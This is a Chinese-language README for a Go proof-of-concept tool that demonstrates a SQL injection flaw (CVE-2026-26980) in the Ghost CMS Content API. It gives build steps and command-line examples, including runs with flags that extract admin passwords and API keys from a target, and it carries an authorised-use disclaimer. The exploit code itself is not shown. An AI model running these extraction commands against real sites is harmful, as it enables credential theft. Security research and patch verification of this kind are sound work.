该仓库包含一个基于 Go 的 PoC(概念验证)工具,用于演示和验证由 CVE-2026-26980 所描述的 Ghost CMS Content API SQL 注入漏洞。该实现基于主 Go 源文件中实现的利用流程,仅用于授权的安全研究和测试。
该 PoC 针对受 Content API slug 过滤器排序漏洞影响的 Ghost CMS 实例。它可以:
该实现具体参考以下公告上下文:
git clone https://github.com/gagaltotal/CVE-2026-26980-Ghost-CMS-Api
cd CVE-2026-26980-Ghost-CMS-Api
go mod init CVE-2026-26980-Ghost-CMS-Api
go mod tidy
在项目根目录下,使用以下命令构建二进制文件:
go build -o ghost-sqli ghost_sqli_cms.go
或
go run ghost_sqli_cms.go


./ghost-sqli --help

./ghost-sqli --url http://target.example:2368
./ghost-sqli --url http://target.example:2368 --extract-password --extract-api-key
./ghost-sqli --url http://target.example:2368 --validate-fix
./ghost-sqli --url http://target.example:2368 --content-key "your-content-api-key"
./ghost-sqli --url http://target.example:2368 -v
本项目仅用于教育和授权的安全评估目的。请仅对您拥有、获得授权测试或正在受控环境中评估的系统使用。未经授权访问或利用第三方系统属于违法行为,并可能违反适用法律。